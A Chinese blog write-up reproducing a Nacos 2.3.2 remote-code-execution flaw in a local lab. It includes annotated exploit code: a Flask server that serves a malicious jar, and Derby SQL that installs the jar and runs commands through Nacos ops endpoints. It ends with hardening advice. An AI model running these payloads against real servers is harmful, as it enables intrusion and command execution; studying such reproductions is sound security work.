当前位置: 首页 > news >正文

Nacos rce-0day漏洞复现(nacos 2.3.2)

Nacos rce-0day漏洞复现(nacos 2.3.2)

NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app=“NACOS”

在这里插入图片描述

从 Github 官方介绍文档可以看出国内不少大企业都在使用该系统,而从 issue 中也可以看出其 CVE 漏洞多且利用难度较低

Nacos系统历史CVE漏洞

1、CVE-2021-29441认证绕过
2、QVD-2023-6271默认密钥
3、CNVD-2020-67618 SQL注入
4、CNVD-2023-45001反序列化

搭建Nacos 2.3.2 环境

下载地址:https://github.com/alibaba/nacos/releases

在这里插入图片描述

1、解压nacos文件

在这里插入图片描述

2、创建nacos数据库

在这里插入图片描述

执行mysql-schema.sql文件
在这里插入图片描述

3、配置数据源nacos/conf/application.properties

在这里插入图片描述

4、配置startup.cmd

在这里插入图片描述

5、启动Nacos在bin目录下打开cmd,输入startup.cmd -m standalone启动

在这里插入图片描述

访问http://localhost:8848/nacos
在这里插入图片描述

漏洞分析

漏洞描述

RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。

漏洞的核心在于 Nacos 的某些接口没有严格的权限控制,攻击者可以通过特制的请求向 Nacos 服务器发送恶意数据,从而执行任意代码。需要登录到后台才能利用漏洞涉及到 Nacos 在处理反序列化数据时的缺陷,攻击者能够通过特定的 JSON 数据结构,远程执行恶意代码。以利用该漏洞读取敏感文件、执行系统命令。

poc

在Github上已删除
在这里插入图片描述

代码分析—service.py

Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config.py 模块中读取
在这里插入图片描述

#定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数,请求download接口就会返回jar的内容
@app.route(‘/download’)
def download_file():
#将Base64编码的payload 解码为二进制数据。
data = base64.b64decode(payload)
#创建一个HTTP响应对象,包含解码后的数据,并 设置MIME类型为 application/octet-stream(表示二进制文件)。
response = Response(data, mimetype=“application/octet-stream”)
#可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。
# response.headers[“Content-Disposition”] = “attachment; filename=file.bin”
#返回响应对象。
return response

代码分析—exploit.py

exploit.py会连接Nacos,然后请求Nacos的参数中注入了连接service.py的IP、端口,以及需要RCE的指令。请求到达nacos之后,利用deby数据库的漏洞,恶意请求service.py服务的接口,加载jar包内容。然后再输入RCE指令给jar包,运行这个命令。

在这里插入图片描述

#按装订区域中的绿色按钮以运行脚本

def exploit(target, command, service, args):
#构建用于发送请求的URL
removal_url = urljoin(target, ‘/nacos/v1/cs/ops/data/removal’)
derby_url = urljoin(target, ‘/nacos/v1/cs/ops/derby’)
print(“正在进行碰撞,请耐心等待!!”)
#循环----直到成功利用漏洞
for i in range(0, sys.maxsize):
#id:生成一个随机字符串,用于标识SQL注入的payload
id = ‘’.join(random.sample(‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’, 8))
#post_sql:构建SQL注入的payload,安装一个恶意的Java函数
post_sql = “”“CALL sqlj.install_jar(‘{service}’, ‘NACOS.{id}’, 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY(‘derby.database.classpath’,‘NACOS.{id}’)\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME ‘test.poc.Example.exec’\n”“”.format(id=id, service=service);
#option_sql:构建SQL语句,利用恶意函数执行命令
option_sql = “UPDATE ROLES SET ROLE=‘1’ WHERE ROLE=‘1’ AND ROLE=S_EXAMPLE_{id}(‘{cmd}’)\n”.format(id=id, cmd=command);
#get_sql:构建SQL查询,执行命令并获取结果 get_sql = “select * from (select count(*) as b, S_EXAMPLE_{id}(‘{cmd}’) as a from config_info) tmp /ROWS FETCH NEXT/”.format(id=id, cmd=command);
# get_sql = “select * from users /ROWS FETCH NEXT/”.format(id=id,cmd=command);
files = {‘file’: post_sql}
#requests.post:发送POST请求,上传恶意SQL
#requests.get:发送GET请求,执行命令并获取结果。
post_resp = requests.post(url=removal_url, files=files, verify=False, headers=header, timeout=5)
post_json = post_resp.json()
if args.url:
print(post_json)
if (post_json[‘code’] == 404 or post_json[‘code’] == 403) and “File” not in post_json[‘message’]:
print(Fore.YELLOW + f"[-] {target} 可能不存在Nacos_Rce漏洞\n" + Fore.RESET)
break
if post_json.get(‘message’, None) is None and post_json.get(‘data’, None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={‘sql’: get_sql}, verify=False, headers=header,
timeout=5)
print(Fore.RED + f"\n[+] {target} 存在Nacos_Rce漏洞,执行命令:{command}" + Fore.RESET)
print(Fore.RED + f"[+] 返回的结果如下: {get_resp.text}" + Fore.RESET)
break

if name == ‘main’:
#service:构建下载恶意Jar文件的URL。
service = ‘http://{host}:{port}/download’.format(host=config.server_host, port=config.server_port)
#target 和 command:从用户输入获取目标URL和要执行的命令。
target = ‘http://127.0.0.1:8848’
command = ‘calc’
target = input(‘请输入目录URL,默认:http://127.0.0.1:8848:’) or target
command = input(‘请输入命令,默认:calc:’) or command
#exploit:调用漏洞利用函数。
exploit(target=target, command=command, service=service)

漏洞复现

第一步:安装依赖requests和flask在这里插入图片描述

第二步:配置config.py中的ip和端口,需要安装依赖
在这里插入图片描述

第三步;启动恶意服务端:python server.py,把上面的恶意类通过b64压缩处理,加载在fask服务端当作服务器资源
在这里插入图片描述
第四步:执行exploit.py,输入命令即可执行.默认执行calc
在这里插入图片描述

安全加固建议

  • 对于使用单机模式的用户,Nacos社区建议开启鉴权机制以增强安全性。这可以通过设置相关配置实现,确保他人无法滥用接口。
  • 在文件application.properties开启鉴权

开启鉴权之前
在这里插入图片描述

开启鉴权之后
在这里插入图片描述

相关文章:

Nacos rce-0day漏洞复现(nacos 2.3.2)

Nacos rce-0day漏洞复现(nacos 2.3.2) NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。影像版本:nacos2.3.2或2.4.0版本指纹:fofa:app“NACOS” 从 Github 官方介绍文档可以看出国…...

yjs04——matplotlib的使用(多个坐标图)

1.多个坐标图与一个图的折线对比 1.引入包;字体(同) import matplotlib.pyplot as plt import random plt.rcParams[font.family] [SimHei] plt.rcParams[axes.unicode_minus] False 2.创建幕布 2.1建立图层幕布 一个图:plt.fig…...

MOS管和三极管有什么区别?

MOS管是基于金属-氧化物-半导体结构的场效应晶体管,它的控制电压作用于氧化物层,通过调节栅极电势来控制源漏电流。MOS管是FET中的一种,现主要用增强型MOS管,分为PMOS和NMOS。 MOS管的三个极分别是G(栅极),D(漏极)&…...

医院多参数空气质量监控和压差监测系统简介@卓振思众

在现代医院管理中,确保患者和医疗人员的健康与安全是首要任务。为实现这一目标,医院需要依赖高科技设施来维持最佳的环境条件。特别是,多参数空气质量监测系统和压差监测系统在这一方面发挥了不可替代的作用。【卓振思众】多参数空气质量监测…...

[项目实战]EOS多节点部署

文章总览:YuanDaiMa2048博客文章总览 EOS多节点部署 (一)环境设计(二)节点配置(三)区块信息同步(四)启动节点并验证同步EOS单节点的环境如何配置 (一&#xf…...

setImmediate() vs setTimeout() 在 JavaScript 中的区别

setImmediate() vs setTimeout() 在 JavaScript 中的区别 在 JavaScript 中,setImmediate() 和 setTimeout() 都用于调度任务,但它们的工作方式不同。 JavaScript 的异步特性 JavaScript 以其非阻塞、异步行为而闻名,尤其是在 Node.js 环境…...

【Java文件操作】文件系统操作文件内容操作

文件系统操作 常见API 在Java中,File类是用于文件和目录路径名的抽象表示。以下是一些常见的方法: 构造方法: File(String pathname):根据给定的路径创建一个File对象。File(String parent, String child):根据父路径…...

关于若依flowable的安装

有个项目要使用工作流功能,在网上看了flowable的各种资料,最后选择用若依RuoYi-Vue-Flowable这个项目来迁移整合。 一、下载项目代码: 官方项目地址:https://gitee.com/shenzhanwang/Ruoyi-flowable/ 二、新建数据库&#xff…...

猜数字困难版(1-10000)

小游戏&#xff0c;通过提示每次猜高或猜低以及每次猜中的位数&#xff0c;10次内猜中1-10000的一个数。 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthde…...

ASPICE术语表

术语来源描述活动Automotive SPICE V4.0由利益相关方或参与方执行的任务用参数Automotive SPICE V4.0应用参数是包含了在系统或软件层级可被更改的数据的软件变量&#xff0c;他们影响系统或软件的行为和属性。应用参数的概念有两种表达方式:规范(分别包括变量名称、值域范围、…...

Knife4j:打造优雅的SpringBoot API文档

1. 为什么需要API文档&#xff1f; 在现代软件开发中,API文档的重要性不言而喻。一份清晰、准确、易于理解的API文档不仅能够提高开发效率,还能降低前后端沟通成本。今天,我们要介绍的Knife4j正是这样一款强大的API文档生成工具,它专为Spring Boot项目量身打造,让API文档的生成…...

数学建模笔记—— 多目标规划

数学建模笔记—— 多目标规划 多目标规划1. 模型原理1.1 多目标规划的一般形式1.2 多目标规划的解1.3 多目标规划的求解 2. 典型例题3. matlab代码实现 多目标规划 多目标规划是数学规划的一个分支。研究多于一个的目标函数在给定区域上的最优化。又称多目标最优化。通常记为 …...

【鸿蒙HarmonyOS NEXT】页面之间相互传递参数

【鸿蒙HarmonyOS NEXT】页面之间相互传递参数 一、环境说明二、页面之间相互传参 一、环境说明 DevEco Studio 版本&#xff1a; API版本&#xff1a;以12为主 二、页面之间相互传参 说明&#xff1a; 页面间的导航可以通过页面路由router模块来实现。页面路由模块根据页…...

SonicWall SSL VPN曝出高危漏洞,可能导致防火墙崩溃

近日&#xff0c;有黑客利用 SonicWall SonicOS 防火墙设备中的一个关键安全漏洞入侵受害者的网络。 这个不当访问控制漏洞被追踪为 CVE-2024-40766&#xff0c;影响到第 5 代、第 6 代和第 7 代防火墙。SonicWall于8月22日对其进行了修补&#xff0c;并警告称其只影响防火墙的…...

关于SAP标准委外(带料外协)采购订单信息

业务背景&#xff1a; 业务部门提出需要将售料外协方式变更为带料外协&#xff0c;带料外协实际业务存在一个委外订单存在多次发料&#xff0c;且每次发票需要进行齐套发料&#xff0c;不同批次的发料涉及物料替代。在半成品收货时需要进行对发料的组件进行扣料。 需求分析&a…...

SpringBoot整合WebSocket实现消息推送或聊天功能示例

最近在做一个功能&#xff0c;就是需要实时给用户推送消息&#xff0c;所以就需要用到 websocket springboot 接入 websocket 非常简单&#xff0c;只需要下面几个配置即可 pom 文件 <!-- spring-boot-web启动器 --><dependency><groupId>org.springframewo…...

使用 QEMU 模拟器运行 FreeRTOS 实时操作系统

文章目录 QEMU 官网QEMU 文档QEMU 简介QEMU 安装QEMU 命令启动虚拟机串口控制台监控命令行 FreeRTOS安装编译工具FreeRTOS 源码RISC-V-Qemu-virt_GCC 示例编译 RISC-V-Qemu-virt_GCC启动虚拟机运行 FreeRTOS QEMU 官网 https://www.qemu.org/ QEMU 文档 https://www.qemu.or…...

Oracle EBS中AR模块的财务流程概览

应收账款 (AR) 模块是Oracle E-Business Suite (EBS) 中另一个重要的财务管理模块&#xff0c;主要用于管理企业销售过程中的账款回收。下面是AR模块中的一些关键财务流程及其详细说明&#xff1a; 1. 销售订单管理 创建销售订单&#xff1a;当客户下单时&#xff0c;销售人员…...

Minitab 的直方图结果分析解释

Minitab 的直方图结果分析解释 步骤 1&#xff1a;评估关键特征 检查分布的尖峰和散布。评估样本数量对直方图外观的影响。 标识尖峰&#xff08;即&#xff0c;条的最高聚类&#xff09;&#xff1a; 尖峰表示样本中最常见的值。评估样本的散布以了解数据的变异程度。例如…...

AgentRE:用智能体框架提升知识图谱构建效果,重点是开源!

发布时间&#xff1a;2024 年 09 月 13 日 Agent应用 AgentRE: An Agent-Based Framework for Navigating Complex Information Landscapes in Relation Extraction 在复杂场景中&#xff0c;关系抽取 (RE) 因关系类型多样和实体间关系模糊而挑战重重&#xff0c;影响了传统 “…...

力扣题解2390

大家好&#xff0c;欢迎来到无限大的频道。 今日继续给大家带来力扣题解。 题目描述​&#xff08;中等&#xff09;&#xff1a; 从字符串中移除星号 给你一个包含若干星号 * 的字符串 s 。 在一步操作中&#xff0c;你可以&#xff1a; 选中 s 中的一个星号。 移除星号…...

用Python获取PDF页面的大小、方向和旋转角度

在文档管理和自动化领域&#xff0c;了解PDF文档的内在属性&#xff08;如页面大小、方向和旋转角度&#xff09;对于确保一致的文档处理和布局保真度至关重要。这些属性在内容重用、归档以及PDF无缝集成到网络环境或其他数字工作流程中起着关键作用&#xff0c;因为它们直接影…...

【即时通讯】轮询方式实现

技术栈 LayUI、jQuery实现前端效果。django4.2、django-ninja实现后端接口。 代码仓 - 后端 代码仓 - 前端 实现功能 首次访问页面并发送消息时需要设置昵称发送内容为空时要提示用户不能发送空消息前端定时获取消息&#xff0c;然后展示在页面上。 效果展示 首次发送需要…...

Flock 明牌空投教程

FLock 旨在为人工智能构建一个去中心化的隐私保护解决方案。FLock提出了一项名为联合学习区块&#xff08;简称 FLocks&#xff09;的研究计划&#xff0c;该计划使用区块链作为数据持有者之间的协调平台来进行机器学习&#xff0c;同时数据保持本地和隐私。通过用区块链取代收…...

项目内部调用的远程接口开发

编写一个项目内部调用的远程接口通常是为了在分布式系统或者微服务架构中&#xff0c;实现各个服务之间的通信和数据交换。这样的远程接口专门用于服务之间的调用&#xff0c;而不是直接暴露给外部用户或前端。 项目内部的远程接口统一放在api工程 首先进入api编写接口&#x…...

影响IP代理池稳定性的因素有哪些?

IP代理池在提供网络服务时&#xff0c;稳定性是一项决定性指标。多个外部和内部因素可能会影响这个稳定性&#xff0c;因此深入理解这些影响因素&#xff0c;可以帮助优化IP代理池的性能与服务质量。 1. IP来源质量 纯净度与使用频次&#xff1a;优质的IP来源常常被描述为纯净…...

基于Prometheus和Grafana的现代服务器监控体系构建

构建一个基于 Prometheus 和 Grafana 的现代服务器监控体系涉及多个步骤。以下是大体的流程和步骤说明&#xff1a; 1. Prometheus 监控系统 Prometheus 是一个开源的系统监控和报警工具&#xff0c;专门设计用于抓取时间序列数据。 1.1 Prometheus 的安装 Docker 安装 Prom…...

原生 input 中的 “type=file“ 上传文件

目标&#xff1a;实现文件上传功能 原型图&#xff1a; HTML部分&#xff1a; <div class"invoice-item"><div class"invoice-title">增值税专用发票</div><div class"invoice-box"><el-form-item label"标准…...

【Unity新闻】Unity的产品命名变化

快速回顾一下Unity产品命名的调整。 在2023年 Unity就宣布版本命名的变化&#xff0c;将使用Unity 6作为最新版本的命名。 具体的规则&#xff0c;在论坛里进行了说明。 以后正式的LTS版本就是Unity 6&#xff0c;将在2024年末发布。 而不管是之前的Runtime费还是今天的费用…...

《PostMan(一):配置全局令牌》

文章目录 一、配置全局token1、设置2、添加全局3、添加全局变量名称4、选中全局&#xff0c;并查看5、添加赋值脚本6、配置令牌取值7、即可成功获取用户信息 一、配置全局token 1、设置 2、添加全局 3、添加全局变量名称 4、选中全局&#xff0c;并查看 5、添加赋值脚本 // 把…...